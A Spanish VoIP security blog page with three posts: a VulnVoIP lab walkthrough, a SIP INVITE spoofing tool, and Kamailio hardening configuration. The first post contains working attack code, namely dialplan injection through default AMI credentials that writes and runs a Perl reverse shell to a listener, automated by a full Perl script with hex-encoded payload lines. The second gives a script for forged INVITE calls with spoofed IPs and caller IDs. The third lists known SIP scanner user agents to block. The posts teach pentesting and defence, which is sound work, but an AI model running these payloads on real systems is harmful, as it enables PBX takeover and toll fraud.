Posts Tagged ‘Hacking’

Jugando con VulnVoIP

Miércoles, octubre 29th, 2014

El otro día impartí una clase en el Curso de Seguridad Informática y Ciberdefensa de Criptored (http://www.criptored.upm.es/formacion/ciberdefensa/TemarioCursoCiberdefensa3.pdf) por tercer año consecutivo y, esta vez, por hacer la clase un poco más amena, decidí realizar una demo sobre un ataque a un máquina vulnerable. Escogí para ello Vulnvoip que podéis descargar aquí: http://www.rebootuser.com/?page_id=1739 y donde podéis seguir una guía de cómo explotarla aquí: http://www.rebootuser.com/?p=1117

Concretamente la máquina es una FreePBX con una versión de Asterisk bastante antigua y con más agujeros que un queso gruyer. Si echáis un ojo al ‘solucionario’ de rebootuser podéis ver cómo usando SipVicious es muy sencillo enumerar las extensiones e incluso crackear las cuentas. Además, vemos que tiene el servicio AMI o Manager abierto y con las contraseñas por defecto, e incluso con permisos para ejecutar comandos de Asterisk remotamente. Pero lo que ya no me gustó mucho es la forma de obtener acceso al sistema según el solucionario, pues se basa en un bug que posee esa versión concreta de FreePBX y es muy probable que en otras versiones ya no tengamos tanta suerte. Sin embargo, algo que parece que se ha pasado por alto es la posibilidad de acceder al sistema mediante la inyección y ejecución de un plan de llamadas o dialplan y realizando una simple llamada telefónica para ejecutarlo. Algo muy similar a lo que comenté en mi charla de la Rooted del 2013 (https://www.youtube.com/watch?v=0bM0pe8C55Q) pero en lugar de realizar la inyección desde la web, la podemos realizar usando el AMI, o servicio Manager, también conocido como servicio Click2Call.

Revisando un poco la forma de explotar el servicio Manager vemos que, con un telnet al puerto 5038 de la máquina:

Servicio AMI

 

Como se puede apreciar, el usuario y contraseña son los que vienen por defecto en una FreePBX y además tenemos permiso para ejecutar comandos. Tal y como se muestra en la web de Rebootuser, podemos usar el comando ‘sip show users’ para ver el listado de usuarios con sus contraseñas, previa autenticación.

Como venía diciendo, podemos, mediante comandos de consola de Asterisk, ejecutar comandos System que nos permitan interactuar con el Sistema Operativo. Veamos un ejemplo sencillo:

Captura de pantalla 2014-10-29 a las 19.23.58

Lo que hemos hecho es crear un plan de llamadas para la extensión 999, que no existe en el sistema,y que al ejecutarse escriba un fichero en disco, en una parte accesible desde la web.

Si echamos un vistazo al plan de llamadas vemos que se ha creado correctamente:

 

 

 

Captura de pantalla 2014-10-29 a las 19.24.28

Una vez creado el plan de llamadas, lo que hacemos es ejecutarlo mediante una llamada telefónica a esa extensión, y usando por ejemplo el softphone Zoiper:

 

 

Captura de pantalla 2014-10-29 a las 19.24.41

Tras la llamada, si accedemos vía web, veremos que el fichero se ha creado en el sistema:

Captura de pantalla 2014-10-29 a las 19.25.11

 

Al igual que hice en la charla de la Rooted, vamos a intentar crear un fichero que contenga una shell remota, de forma que tras la llamada, tengamos esa shell grabada en algún lugar del disco. Luego crearemos un segundo plan de llamadas que invoque a esa shell y nos abra una conexión remota contra nuestra máquina. Inyectaremos algo así:

dialplan add extension EXT,1,answer, into ext-local
dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,9,hangup, into ext-local

Tras la inyección, una llamada al 999 y tendremos el fichero almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas:

dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"perl /tmp/s.pl" into ext-local
dialplan add extension 999,3,hangup, into ext-local

Y antes de la segunda llamada, dejaremos en nuestra máquina un netcat a la escucha:


$ netcat -l -p 31337

Como es un poco engorroso ir creando línea a línea con un telnet al puerto del AMI, qué mejor que programar un pequeño script que nos facilite la tarea:

#!/usr/bin/perl -w
# -=-=-=-=-=-=-=-=-
# Asterisk AMI v1.0
# -=-=-=-=-=-=-=-=-
#
# Pepelux <pepelux[at]gmail[dot]com>
use warnings;
use strict;
use Getopt::Long;
use Asterisk::AMI;
use Data::Dumper;
my $host = ''; # host
my $port = ''; # port
my $user = ''; # user
my $pass = ''; # pass
my $cmd = '';  # command
my $cs = 0;    # create shell
my $es = 0;    # execute shell
my $ip = ''; # my local IP
my $rport = ''; # my local port for netcat
my $exten = '999';
#my $context = 'internal';
my $context = 'pbx14';
sub init() {
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
# check params
my $result = GetOptions ("h=s" => \$host,
                        "u=s" => \$user,
                        "s=s" => \$pass,
                        "c=s" => \$cmd,
                        "cs+" => \$cs,
                        "es+" => \$es,
                        "ip=s" => \$ip,
                        "rp=s" => \$rport,
                        "p=s" => \$port);
 help() if ($host eq "" || $user eq "" || $pass eq "");
 help() if ($cmd eq "" && $cs eq 0 && $es eq 0);
 help() if ($cs eq 1 && $ip eq "");
 $port = "5038" if ($port eq "");
 $rport = "31337" if ($rport eq "");
 ami_call();
exit;
 ami_cmd($cmd) if ($cmd ne "");
 ami_cs($ip, $rport) if ($cs eq 1);
 ami_es() if ($es eq 1);
exit;
}
sub ami_call {
# my $src = shift;
# my $dst = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'originate',
# Channel => 'LOCAL/204@'.$context,
 Channel => 'LOCAL/204@'.$context,
 Priority => '1',
 WaitTime => '15',
 Exten => '675558423',
 Callerid => 'pepe',
 Context => $context
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cmd {
my $cmd = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'command',
 Command => $cmd
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_es {
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"perl /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cs {
my $ip = shift;
my $rport = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
# my $echo = "echo -e";
my $echo = "echo";
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"$echo '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,system,\"$echo '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd4 = "dialplan add extension $exten,4,system,\"$echo '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$rport\\\\x2c' >> /tmp/s.pl\" into $context";
my $cmd5 = "dialplan add extension $exten,5,system,\"$echo '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd6 = "dialplan add extension $exten,6,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd7 = "dialplan add extension $exten,7,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd8 = "dialplan add extension $exten,8,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd9 = "dialplan add extension $exten,9,system,\"$echo '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd10 = "dialplan add extension $exten,10,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $astman->send_action ({ Action => 'Command', Command => $cmd4 });
 $astman->send_action ({ Action => 'Command', Command => $cmd5 });
 $astman->send_action ({ Action => 'Command', Command => $cmd6 });
 $astman->send_action ({ Action => 'Command', Command => $cmd7 });
 $astman->send_action ({ Action => 'Command', Command => $cmd8 });
 $astman->send_action ({ Action => 'Command', Command => $cmd9 });
 $astman->send_action ({ Action => 'Command', Command => $cmd10 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub help {
print qq{
Usage: $0 -h <host> -u <user> -s <secret> [-c <command>|-cs -ip <ip>|-es]
== Options ==
-c <string>= Command to execute (ex: 'core show version')
-ip       = IP address to create dialplan for remote shell
-cs       = Create dialplan to write on disk a remote shell
-es       = Create dialplan to execute a remote shell
== Examples ==
\$$0 -h 192.168.0.1 -u admin -p supersecret -c 'sip show peers'
\$$0 -h 192.168.0.1 -u admin -p supersecret -cs -i 192.168.0.10
\$$0 -h 192.168.0.1 -u admin -p supersecret -es
};
exit 1;
}
init();

Y veámoslo en funcionamiento:

Captura de pantalla 2014-10-29 a las 19.40.48

Lanzamos un comando de prueba, por ejemplo, el mismo que antes para ver los usuarios registrados en el Asterisk:

Captura de pantalla 2014-10-29 a las 19.41.28

Creamos el primer plan de llamadas para grabar el script en disco:

Captura de pantalla 2014-10-29 a las 19.42.10

Tras crearlo, realizamos una llamada y quedará almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas para ejecutar el script:

Captura de pantalla 2014-10-29 a las 19.42.38

Ponemos el netcat a la escucha y realizamos la segunda llamada:

 

Captura de pantalla 2014-10-29 a las 19.43.09

 

Como podemos ver, no sólo hemos accedido al sistema, sino que además el servicio está ejecutándose como root, así que tenemos el control total de la máquina.

Conclusiones:

  • Nunca ejecutar un Asterisk como root
  • Si necesitamos el AMI, permitir únicamente los servicios necesarios y no la ejecución de comandos del sistema. Y sobre todo, filtrar las IPs que tienen acceso
  • No dejar una PBX accesible desde Internet, nunca
  • Mantener los sistemas siempre actualizados

Saludos

Sending fake auth for device XXX

Martes, septiembre 23rd, 2014

Si administras  un Asterisk con conexión desde Internet seguro que habrás visto en los logs este mensaje muchísimas veces – por cierto, si tu Asterisk NO debe estar accesible desde Internet y ves esto en los logs o en la consola, ve revisando con urgencia la configuración de tu Router/Firewall :)

Lo normal es ver algo así en la consola:

Fake auth

Bueno, ¿y qué tiene esto de especial o de raro? Pues que la IP que aparece NO es la del atacante, sino la de nuestro servidor Asterisk. Esto la verdad es que deja fuera de juego a mucha gente; primero porque ver el mensaje intentando llamar a un número internacional ya acojona; y luego porque, como digo, la IP que aparece es la tuya y no la del atacante.

Mientras vas buscando en Google el por qué de este mensaje vas viendo la consola como van apareciendo más registros … y sin la IP, no puedes bloquear nada ni crear una regla en el fail2ban para automatizar el bloqueo de este tipo de ataques.

En las versiones más modernas de Asterisk parece que trae un módulo de seguridad que controla esto pero al menos en la 1.8, que sigue siendo de las más utilizadas, no hay manera de saber quien está intentando llamar desde tu sistema a coste cero (para él, claro).

Antes de ver la pésima solución, analizaremos por qué ocurre esto. Ya publiqué hace tiempo 2 entradas donde explicaba este tipo de ataques y donde ponía un script para ver si tu sistema era vulnerable. Las entradas son estas:

http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/

http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/

Y bueno, como los scripts siempre están en continua evolución, aquí va de nuevo, un poco mejorado:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.1
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>
 
use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
 
my $host = '';     		# host
my $port = '';     		# port
my $dst_number = '';   	# destination number
my $src_number = '';   	# source number
 
my $lport = "31337";
my $hip = "";
my $fakeip = "";
 
sub init() {
    if ($^O =~ /Win/) {system("cls");}else{system("clear");}
 
    # check params
    my $result = GetOptions ("h=s" => \$host,
                             "d=s" => \$dst_number,
                             "s=s" => \$src_number,
                             "ip=s" => \$fakeip,
                             "p=s" => \$port);
 
    help() if ($host eq "" || $dst_number eq "");
 
    $port = "5060" if ($port eq "");
    $src_number = "100" if ($src_number eq "");
    
	 $hip = inet_ntoa(inet_aton($host));
    $fakeip = $hip if ($fakeip eq "");
 
    invite($hip, $fakeip, $host, $port, $dst_number, $src_number);
 
    exit;
}
 
sub invite {
    my $ip = shift;
    my $fakeip = shift;
    my $host = shift;
    my $nport = shift;
    my $dst = shift;
    my $src = shift;
 
    my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);
 
    $lport = $sc->sockport();
 
    my $branch = &generate_random_string(71, 0);
    my $callerid = &generate_random_string(32, 1);
 
    my $msg = "INVITE sip:".$dst_number."@".$host.";transport=UDP SIP/2.0\n";
    $msg .= "Supported: \n";
    $msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
    $msg .= "Contact: $dst <sip:".$dst."@".$ip.":$lport>\n";
    $msg .= "Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n";
    $msg .= "Call-id: ".$callerid."@".$fakeip."\n";
    $msg .= "Cseq: 1 INVITE\n";
    $msg .= "From: $src <sip:".$src."@".$fakeip.">;tag=ddb044893807095baf1cf07269f03118\n";
    $msg .= "Max-forwards: 70\n";
    $msg .= "To: <sip:".$dst."@".$host.">\n";
    $msg .= "Content-length: 123\n\n";
    $msg .= "v=0\n";
    $msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
    $msg .= "s=session\n";
    $msg .= "c=IN IP4 $ip\n";
    $msg .= "t=0 0\n";
    $msg .= "m=audio 2362 RTP/AVP 0\n\n";
 
    print $sc $msg;
 
    print "\nSending:\n=======\n$msg\n\n";
 
    my $data = "";
    my $server = "";
    my $useragent = "";
    my $line = "";
 
    LOOP: {
        while (<$sc>) {
            $line = $_;
 
            if ($line =~ /[Ss]erver/ && $server eq "") {
               $line =~ /[Ss]erver\:\s(.+)\r\n/;
 
               if ($1) {
                    $server = $1;
                }
            }
 
            if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
               $line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;
 
               if ($1) {
                    $useragent = $1;
                }
            }
 
            $data .= $line;
 
            if ($line =~ /^\r\n/) {
                last LOOP;
            }
        }
    }
 
    print "\nReceiving:\n=========\n$data\n\n";
}
 
sub generate_random_string {
    my $length_of_randomstring = shift;
    my $only_hex = shift;
    my @chars;
 
    if ($only_hex == 0) {
        @chars = ('a'..'z','0'..'9');
    }
    else {
        @chars = ('a'..'f','0'..'9');
    }
    my $random_string;
    foreach (1..$length_of_randomstring) {
        $random_string.=$chars[rand @chars];
    }
    return $random_string;
}
 
sub help {
    print qq{
Usage:  $0 -h <host> -d <dst_number> [options]
 
== Options ==
-d <integer>     = Destination number
-s <integer>     = Source number (default: 100)
-p <integer>     = Remote SIP port (default: 5060)
-ip <string>     = Fake IP (by default is the same as host)
 
== Examples ==
\$$0 -h 192.168.0.1 -d 100
\$$0 -h 192.168.0.1 -d 666666666 -s 200
\$$0 -h 192.168.0.1 -d 100 -ip 1.2.3.4
 
};
 
    exit 1;
}
 
init();

De hecho, lo que ocasionó el registro de la captura anterior fue esto:

$ perl sipinvite.pl -h sip3 -d 44123456789 -s 0044121212121

Y las nuevas opciones que trae el script son:

sipinvite.pl

Podemos jugar con los números origen y destino, e incluso realizar llamadas telefónicas alterando el Callerid, en caso de que el sistema no esté bien configurado (tal y como comento en las entradas de mi blog que he mencionado antes). La verdad es que ver la IP de tu sistema mosquea mucho, pero si pones una aleatoria puedes volver loco al pobre administrador:

$ perl sipinvite.pl -h sip3 -d 100 -ip 1.2.3.4

$ perl sipinvite.pl -h sip3 -d 100 -ip "VAIS A MORIR TODOS"


En realidad este mensaje, aunque asusta bastante, quiere decir que está todo bien configurado pero que hay un gracioso intentando mandar mensajes INVITE para realizar llamadas. En caso de que tuviéramos mal configurado nuestro sistema veríamos en la consola cómo se realiza una llamada saliente, como si la hubiera marcado un teléfono. Lo que nos están mandando para provocar este aviso es algo así:

Como solución tenemos 2 opciones. La primera es acostumbrarlos a ver el aviso por pantalla :) … y la segunda es ‘retocar’ el código de Asterisk y recompilar. Para ello tendremos que buscar en channels/chan_sip.c el lugar donde nos muestra ese error y antes, hacer un print con la IP del atacante. Algo así:

        } else if (sip_cfg.alwaysauthreject) {
                res = AUTH_FAKE_AUTH; /* reject with fake authorization request */
                ast_log(LOG_NOTICE, "hacking attempt detected '%s'\n", ast_sockaddr_stringify_addr(addr));

Por lo que en nuestra consola veríamos lo siguiente:

 

Y ya con la IP del atacante podremos realizar el bloqueo correspondiente en nuestras IPTABLES o, mejor aún, crear una regla en Fail2ban que bloquee las IPs que aparezcan en el mensaje que hemos creado: hacking attempt detected ‘X.X.X.X’

Espero que os sirva. Saludos

 

Protegiendo nuestro sistema de VoIP con Kamailio

Miércoles, julio 30th, 2014

 

Cuando se gestiona una centralita local, lo normal es no tener ningún tipo de puerto abierto al exterior, dado que las conexiones las realizamos siempre nosotros hacia nuestro proveedor de VoIP. A no ser que realicemos una validación por IP, con lo que deberemos permitir el acceso a nuestro puerto SIP única y exclusivamente a la IP que nos facilite nuestro(s) operador(es).

En el caso de que administremos un sistema más complejo, o simplemente, ofrezcamos servicios de VoIP a terceros, seguramente tendremos otros elementos involucrados en nuestro sistema, como servidores proxy.

En mi último post – guau! hace más de 1 año ya! – escribí sobre Kamailio y, sin despreciar a su ‘hermano’ OpenSIPS, voy a poner algunas configuraciones bastante útiles para protegernos tanto de escaneos como de ataques (fuerza bruta, DoS, …). Para ello vamos a utilizar programación en LUA, que nos permitirá dejar un poco más limpio nuestro fichero de configuración de Kamailio.

 

Evitando los molestos escáner SIP

Normalmente todos los escáner SIP utilizan un User-Agent propio por defecto. De hecho, parece mentira que el escáner más conocido, SIPVicious, esté programado en Python y la gente siga usándolo ‘sin alterar’, es decir, sin cambiar ese agente de usuario tan conocido … hablo de ‘friendly-scanner’. Por tanto, nos sobra con poner un pequeño filtro en nuestro Kamailio que busque los UA más conocidos … algo así:

route[REQINIT] {
..........

if($ua == "friendly-scanner" || $ua == "sundayddr" || $ua == "sip-scan" || $ua == "iWar" || $ua == "sipsak") {
   xlog("L_ALERT", "Attack attempt! IP:$si:$sp - R:$ruri - F:$fu - T:$tu - UA:$ua - $rm\n");
   drop();
}

..........
}

 

Lo que estamos haciendo es un drop del paquete cuando detectemos un User_agent que concuerde con un escáner SIP conocido.

 

Módulo pike + htable de Kamailio

Los módulos pikehtable de Kamailio son más que conocidos y nos permiten bloquear intentos de registro erróneos. Se puede ver toda la información en la documentación de Kamailio:

http://kamailio.org/docs/modules/stable/modules/pike.html

http://kamailio.org/docs/modules/stable/modules/htable.html

Por ejemplo, podemos definir cómo queremos que se comporte en la definición de parámetros, donde size es el número de intentos y autoexpire indica el tiempo tras el cual se libera el bloqueo:

modparam("htable", "htable", "wrongpass=>size=8;autoexpire=900")
modparam("htable", "htable", "ipban=>size=8;autoexpire=300")

 

En la ruta de autenticación comprobaremos el número de intentos erróneos y, si es superior al permitido, lo bloquearemos:

route[AUTH] {
..........

        if (is_method("REGISTER|INVITE") || from_uri==myself)
        {
                # User reached auth_count top
                if($sht(wrongpass=>$au::auth_count)==$sel(cfg_get.auth.max{s.int}))
                {
                        $var(exp) = $Ts - $sel(cfg_get.auth.bantime{s.int});

                        if ($sht(wrongpass=>$au::last_auth) > $var(exp))
                        {
                                # no more auth checks
                                xdbg("username $au $rm blocked from $proto:$si:$sp\n");
                                # we also can send a fake 200 OK reply
                                # sl_send_reply("200","OK");
                                exit;
                        } else {
                                # bantime seg reached... clean count
                                $sht(wrongpass=>$au::auth_count) = 0;
                        }
                }

                # authenticate requests
                if (!radius_www_authorize("mysip.server.com")) {
                        switch ($rc) {
                        case -7:
                           send_reply("500", "Server Internal Error");
                           exit;
                        case -2:
                                if ($sht(wrongpass=>$au::auth_count) == $null) {
                                        $sht(wrongpass=>$au::auth_count) = 0;
                                }

                                $sht(wrongpass=>$au::auth_count) = $sht(wrongpass=>$au::auth_count) + 1;

                                if ($sht(wrongpass=>$au::auth_count) == $sel(cfg_get.auth.max{s.int})) {
                                        xlog("L_ALERT","Auth failed $sel(cfg_get.auth.max) times - user:$au from $proto:$si:$sp\n");
                                }

                                $sht(wrongpass=>$au::last_auth) = $Ts;
                                break;
                        case -1:
                           send_reply("400", "Bad Request");
                           exit;
                        default:
                        };
                        if (defined($avp(digest_challenge)) &&
                                ($avp(digest_challenge) != "")) {
                                append_to_reply("$avp(digest_challenge)");
                        };
                        send_reply("401", "Unauthorized");
                        exit;
                }
                # clean
                if ($sht(wrongpass=>$au::auth_count) != $null) {
                        $sht(wrongpass=>$au::auth_count) = 0;
                }
        }

..........
}

 

Creando listas negras

A parte de estos módulos que nos ofrece Kamailio, podemos programar todo lo que se nos ocurra, gracias al enorme potencial de Kamailio. Por ejemplo, podemos crear listas negras y blancas de usuarios o de IPs para permitir o bloquear a determinadas direcciones IP o usuarios.

Por ejemplo, sirva como base la siguiente tabla de MySQL para crear listas negras de direcciones IP:

CREATE TABLE IF NOT EXISTS `black_list` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(32) COLLATE utf8_spanish_ci NOT NULL,
`detail` varchar(255) COLLATE utf8_spanish_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_spanish_ci AUTO_INCREMENT=42 ;

Podemos utilizar los campos:

– ip: para bloquear una dirección IP
– detail: para añadir alguna observación

Desde Kamailio comprobaremos si está en la lista negra, en cuyo caso bloquearemos la petición:

route[REQINIT] {
..........

        if(src_ip!=myself)
        {
                # check if the IP is blacklisted
                lua_run("check_blacklist", "$si");
                if ($avp(s:wb_status) == "black") {
                       xlog("L_ALERT","Received $rm from a blacklisted $avp(s:wb_type)! $fU (IP:$si) - Sending Drop ...\n");
                       $sht(ipban=>$si) = 1;
                       drop();
                }
         }

..........
}

Y usando LUA programaremos la función check_blacklist

-- check blacklist
function check_blacklist(ip)
        local con, cur, row
        con = connect_ro('openser')
        cur = assert (con:execute("SELECT id FROM black_list WHERE ip='" .. ip .. "'))
        row = cur:fetch({}, "a")
        cur:close()
        con:close()
        if row then
                sr.pv.sets('$avp(wb_status)', 'black')
        else
                sr.pv.sets('$avp(wb_status)', '')
        end

        return
end

 

Al igual que bloqueamos un paquete que provenga de una determinada dirección IP, sería muy sencillo bloquear ciertos usuarios, agentes de usuario, etc.

 

Filtrado por países

Del mismo modo que bloqueamos direcciones IP, podemos realizar una comprobación del país que realiza las peticiones. Por ejemplo:

CREATE TABLE IF NOT EXISTS `black_list_country` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`country` varchar(5) COLLATE utf8_spanish_ci NOT NULL,
`detail` varchar(255) COLLATE utf8_spanish_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_spanish_ci AUTO_INCREMENT=42 ;

Podemos utilizar los campos:

– country: código de país a bloquear
– detail: para añadir alguna observación

Por otro lado:

CREATE TABLE IF NOT EXISTS `ipcountry` (
  `ipstart` varchar(20) NOT NULL,
  `ipend` varchar(20) NOT NULL,
  `countrycode` varchar(5) NOT NULL,
  `ipfrom` bigint(11) NOT NULL,
  `ipto` bigint(11) NOT NULL,
  KEY `ipstart` (`ipstart`,`ipend`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Donde:

– ipstart e ipend: rangos de IPs (ejemplo: 2.20.179.0 – 2.20.179.255)
– countrycode: código del país (ejemplo: ES)
– ipfrom e ipto: IPs en formato decimal (ejemplo: 34910976 – 34911231)

Podemos descargar la base de datos de IPs de aquí: http://db-ip.com/db/download/country

Y el motivo por el que meto en la base de datos las IPs en dos formatos es por temas de optimización, para no tener que calcularlas en cada consulta. Para ello, tras importar la base de datos deberemos calcular las direcciones IP en su formato decimal:

mysql> update `ipcountry` set ipfrom = INET_ATON(ipstart);
mysql> update `ipcountry` set ipto = INET_ATON(ipend);

Y desde Kamailio, para filtrar los países bloqueados, será de forma similar a lo visto antes. Comprobamos si el país está bloqueado y hacemos un drop a la vez que bloqueamos la IP:

route[REQINIT] {
..........

      lua_run("get_countrycode", "$si");
      lua_run("check_country_blacklist", "$avp(s:countryCode)");
      if ($avp(s:wb_status) == "black") {
              xlog("L_ALERT","Received $rm from a blacklisted country ($avp(s:countryCode))! $fU (IP:$si) - Sending Drop ...\n");
             $sht(ipban=>$si) = 1;
             drop();
       }

..........
}

 

En el LUA tendremos:

-- get country code from IP address
function get_countrycode(ipaddr)
        local con, cur, row
        con = connect_ro('openser')
        cur = assert (con:execute("SELECT countrycode FROM ipcountry WHERE INET_ATON('" .. ipaddr .. "') BETWEEN ipfrom AND ipto LIMIT 1"))
        row = cur:fetch({}, "a")
        cur:close()
        con:close()
        if row then
                sr.pv.sets('$avp(countryCode)', row.countrycode)
        else
                sr.pv.sets('$avp(countryCode)', '')
        end

        return
end

-- check countries blacklisted
function check_country_blacklist(country)
        local con, cur, row
        con = connect_ro('openser')
        cur = assert (con:execute("SELECT id FROM black_list_country WHERE country='" .. country .. "'"))
        row = cur:fetch({}, "a")
        cur:close()
        con:close()
        if row then
                sr.pv.sets('$avp(wb_status)', 'black')
        else
                sr.pv.sets('$avp(wb_status)', '')
        end

